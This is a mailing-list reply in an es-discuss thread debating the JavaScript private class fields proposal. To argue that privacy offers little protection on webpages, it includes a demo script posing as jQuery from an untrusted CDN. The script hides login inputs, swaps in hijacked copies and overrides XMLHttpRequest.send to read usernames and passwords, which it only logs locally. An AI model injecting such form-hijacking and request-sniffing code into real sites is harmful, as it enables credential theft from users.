Re: EcmaScript Proposal – Private methods and fields proposals.

kai zhu kaizhu256 at gmail.com
Tue Apr 17 10:34:20 UTC 2018


can you give actual code-examples of real-world things in web-projects
that are worth the effort and cost to **proactively** hide from
web-developers?  i suspect for most, just following python
design-pattern of prefixing them with '_' or '$' is good enough.

also in a webpage-context, how confident are you that private
methods/fields really are "private" and safe from naughty-developers?
would you trust private fields/methods enough to allow untrusted code
to run alongside your credit-card transaction webpage?  for example,
here's a live web-demo of a side-channel attack to indirectly
modify/read private fields (via jquery from untrusted cdn) [1], with
screenshots and full source-code here [2].

its not too difficult to craft these side-channel exploits when a
naughty-developer has full-access to your frontend source-code. how
many companies/organizations in the world do you think have the
resources to audit/harden their frontend-code to ensure private
methods/fields really are private and cannot be tinkered with through
various side-channel exploits (hijacking dom-inputs, XMLHttpRequest,
LocalStorage, IndexedDb, Array-accessors,
dependent-subclasses-you-forgot-to-encapsulate, etc)?

[1]
"live web-demo"
https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/

[2]
"screenshot and full source-code of demo-exploit"
https://github.com/tc39/proposal-class-fields/issues/93#issuecomment-380073112



```javascript
/*
 * jquery.from.untrusted.cdn.js
 *
 * this script will indirectly modify/read private-fields by hijacking
dom-inputs and XMLHttpRequest.
 * it is custom-crafted for a given webpage's freely available
frontend source-code
 *
 * live web-demo of it in action at:
 * https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
 */
/*jslint
    bitwise: true,
    browser: true,
    maxerr: 4,
    maxlen: 100,
    node: true,
    nomen: true,
    regexp: true,
    stupid: true
*/
(function () {
    'use strict';
    var XMLHttpRequestPrototypeSend, consoleLog;
    consoleLog = console.log;
    console.log = function () {
        document.querySelector('#textareaStdout').value +=
Array.from(arguments).join(' ') +
            '\n';
        consoleLog.apply(console, arguments);
    };
    // side-channel attack to modify private-fields in hijacked dom-inputs
    ['inputPassword', 'inputUsername'].forEach(function (element) {
    /*
     * this function will hide the original dom-inputs from the user,
     * and replace them with hijacked ones, that can arbitrarily modify data
     */
        var hijackElement;
        element = document.querySelector('#' + element);
        element.style.display = 'none';
        hijackElement = document.createElement('input');
        element.parentNode.insertBefore(hijackElement, element);
        hijackElement.id = element.id + '2';
        hijackElement.type = element.type;
        hijackElement.value = element.value;
        hijackElement.addEventListener('change', function () {
            // arbitrarily modify data and pass it back to original dom-inputs
            element.value = hijackElement.value + ' modified!';
        });
        element.value = element.value + ' modified!';
    });
    document.querySelector('#inputSubmit').addEventListener('click',
function () {
        console.log('hijacked dom-input to modify field
loginInstance.privateUsername=' +
            JSON.stringify(document.querySelector('#inputUsername').value));
        console.log('hijacked dom-input to modify field
loginInstance.privatePassword=' +
            JSON.stringify(document.querySelector('#inputPassword').value)
+ '\n');
    });
    // side-channel attack to read private-fields from hijacked XMLHttpRequest
    XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.send = function (data) {
    /*
     * this function will hijack XMLHttpRequest.prototype.send to
indirectly read private-fields
     */
        try {
            data = JSON.parse(data);
            console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
                'loginInstance.privateUsername=' +
JSON.stringify(data.username));
            console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
                'loginInstance.privatePassword=' +
JSON.stringify(data.password) + '\n');
        } catch (ignore) {
        }
        XMLHttpRequestPrototypeSend.apply(this, arguments);
    };
    console.log('loaded script <script
src="jquery.from.untrusted.cdn.js"></script>');
}());
```


On 4/17/18, Dan Peddle <dan at flarework.com> wrote:
> imagine you are shipping a module for use by others, and you don't want to
> expose internals to consumers. private methods and properties help to know
> that only the public API is in use, giving confidence in publishing updates
> or fixes.
>
> another use case is knowing that naughty developers aren't reaching into
> your module and changing its behaviour.
>
> I'm sure there's more, but those are the ones that come to mind.
>
>> On 17. Apr 2018, at 08:17, kai zhu <kaizhu256 at gmail.com> wrote:
>>
>> as a javascript web-developer, can someone educate me on how private
>> class methods/fields would make one's life easier (rather than harder)
>> in getting web-projects shipped?
>>
>> ```
>> /*
>> * how is this cited example better than using a plain object in a
>> web-project?
>> * can someone give actual common problems in
>> * debugging/integrating/shipping web-projects,
>> * that private methods/fields could help simplify (rather than
>> complicate)?
>> */
>> class HashTable {
>>  constructor() {
>>    private[Symbol.for('length')] = 0
>>  }
>>  set(key, value) {
>>    private[key] = value
>>  }
>>  get(key) {
>>    return private[key]
>>  }
>> }
>> ```
>>
>


More information about the es-discuss mailing list